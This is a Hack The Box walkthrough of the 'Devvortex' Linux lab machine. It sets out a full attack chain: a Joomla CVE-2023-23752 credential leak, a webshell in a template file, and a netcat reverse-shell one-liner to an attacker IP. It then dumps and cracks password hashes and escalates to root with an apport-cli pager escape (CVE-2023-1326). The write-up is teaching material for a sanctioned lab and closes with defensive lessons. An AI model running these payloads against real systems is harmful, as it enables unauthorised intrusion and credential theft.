Hack The Box: Devvortex
Difficulty: Easy · OS: Linux · Joomla · CVE-2023-23752 · CVE-2023-1326
TL;DR — the attack chain
- Only SSH and HTTP are open. Host-header fuzzing on port 80 reveals a
dev.devvortex.htbvhost. - Directory enumeration on the vhost uncovers a Joomla
/administrator/panel running v4.2.6. - That version is vulnerable to CVE-2023-23752, an unauthenticated API information disclosure that leaks the Joomla database credentials.
- Those creds log into the Joomla admin panel; editing a template file plants a webshell, upgraded to a reverse shell as
www-data. - The Joomla DB creds open MySQL, where
logan‘s bcrypt hash is dumped and cracked with hashcat. logancan runapport-clias root via sudo — CVE-2023-1326 turns that into a root shell.
1. Enumeration
Kick things off with a service/version scan of the two obvious ports:
sudo nmap -p 22,80 -A -oN detailed_scan -oX detailed_scan.xml 10.129.229.146
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
The web server redirects to devvortex.htb, so add that hostname to /etc/hosts:
echo "10.129.229.146 devvortex.htb" | sudo tee -a /etc/hosts
2. Finding the dev vhost
The main site is a static page with nothing interesting. Since nginx is clearly vhost-aware, fuzz the Host header to hunt for additional vhosts:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u http://devvortex.htb/ \
-H 'Host: FUZZ.devvortex.htb' -c -ac
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502]
A dev subdomain responds. Add it to /etc/hosts too, then enumerate files:
ffuf -u http://dev.devvortex.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c -fc 403
index.php [Status: 200]
LICENSE.txt [Status: 200]
robots.txt [Status: 200]
configuration.php [Status: 200]
README.txt [Status: 200]
htaccess.txt [Status: 200]
The presence of configuration.php, htaccess.txt and a standard README.txt is a strong Joomla fingerprint. The admin panel lives at http://dev.devvortex.htb/administrator/.
3. Fingerprinting Joomla
Joomla exposes its exact version in an unauthenticated XML manifest:
curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -
<version>4.2.6</version>
<creationDate>2022-12</creationDate>
You can confirm with droopescan:
docker run --rm --add-host dev.devvortex.htb:10.129.229.146 \
asannou/droopescan scan joomla -u http://dev.devvortex.htb
Version 4.2.6 is vulnerable to CVE-2023-23752.
4. CVE-2023-23752 — leaking the database credentials
CVE-2023-23752 is an improper access-check in Joomla’s REST API. An unauthenticated request to the config endpoint returns the application configuration — including the MySQL username and password in plaintext:
curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq
{ "attributes": { "user": "lewis", "id": 224 } },
{ "attributes": { "password": "P4ntherg0t1n5r3c0n##", "id": 224 } }
These are Joomla’s database credentials, but Joomla reuses the same account for its admin login — so lewis:P4ntherg0t1n5r3c0n## also works on /administrator/.
5. Admin panel → webshell → reverse shell
Log into the Joomla admin panel as lewis. Under System → Site Templates → Cassiopeia, open a template file such as error.php and drop in a one-line webshell:
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
Save, then confirm code execution:
curl -s "http://dev.devvortex.htb/templates/cassiopeia/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Start a listener (nc -lvnp 80) and trigger a reverse shell. URL-encoding keeps the shell metacharacters intact:
curl -s -G --data-urlencode \
"dcfdd5e021a869fcc6dfaef8bf31377e=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.4 80 >/tmp/f" \
http://dev.devvortex.htb/templates/cassiopeia/error.php
You now have a shell as www-data. Upgrade it to a proper TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
6. www-data → logan (database + hash cracking)
Read the Joomla config on disk to re-confirm the DB credentials:
public $user = 'lewis';
public $password = 'P4ntherg0t1n5r3c0n##';
public $db = 'joomla';
public $dbprefix = 'sd4fg_';
Log into MySQL and dump the Joomla users table (note the sd4fg_ prefix):
mysql -u lewis -p
SELECT name,username,password FROM joomla.sd4fg_users;
lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
These are bcrypt hashes (hashcat mode 3200). Crack Logan’s:
hashcat -m 3200 joomla.hash /usr/share/wordlists/rockyou.txt --force
...GThNiy/yBtkIj12:tequieromucho
Logan reuses this password for SSH:
nxc ssh devvortex.htb -u 'logan' -p 'tequieromucho'
[+] logan:tequieromucho Linux - Shell access!
SSH in as logan and grab user.txt.
7. logan → root (CVE-2023-1326 via apport-cli)
Check Logan’s sudo rights:
logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
apport-cli is Ubuntu’s crash-reporting tool, vulnerable to CVE-2023-1326. When it displays a report through its pager (less) as root, you can break out to a shell — the same !command trick as sudo less.
First create a crash file for apport to chew on:
sleep 10 & kill -ABRT $!
Then open the crash report with sudo and view it:
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
# press V to view the report
# at the less pager, run:
!/bin/bash
The spawned shell runs as root:
root@devvortex:~# id
uid=0(root) gid=0(root) groups=0(root)
Grab /root/root.txt — box owned. Reference PoC: github.com/diego-tella/cve-2023-1326-poc
Takeaways
- Vhost fuzzing matters. The whole box hinges on a dev subdomain that never appears on the main site — always fuzz the
Hostheader. - Patch your CMS. CVE-2023-23752 handed over plaintext DB creds with one unauthenticated request. Joomla ≥ 4.2.8 fixes it.
- Credential reuse is the glue. One password bridged the database, the admin panel, and SSH.
- Least privilege for sudo. Granting
apport-clivia sudo is effectively granting root, because its pager can spawn a shell.